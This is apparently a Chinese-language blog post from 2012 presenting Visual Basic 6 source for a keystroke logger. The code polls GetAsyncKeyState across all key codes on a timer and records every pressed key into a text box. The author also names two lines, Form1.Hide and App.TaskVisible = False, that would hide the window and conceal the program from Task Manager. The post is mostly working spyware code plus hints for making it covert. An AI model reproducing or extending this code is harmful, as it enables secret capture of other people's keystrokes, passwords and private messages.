關於我自己

2012年5月5日 星期六

VB 6.0 按鍵側錄

程式碼:

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

Dim IntR As Long
IntR = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
For i = 1 To 400
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
       If i = 13 Then
       Text1.Text = Text1.Text + "(Enter)"
       Else
       Text1.Text = Text1.Text + Chr(i)
       End If
     End If
Next i

End Sub
以上大約是用
GetAsyncKeyState涵式=>得到按件執 Ascii
SetWindowPos涵式=>把From表單一直顯示在圖層上面

最後我並沒有加下面兩個涵式
Form1.Hide   =>將表單隱藏
App.TaskVisible = False  =>然程式無法在工具管理員看到此EXE

沒有留言:

張貼留言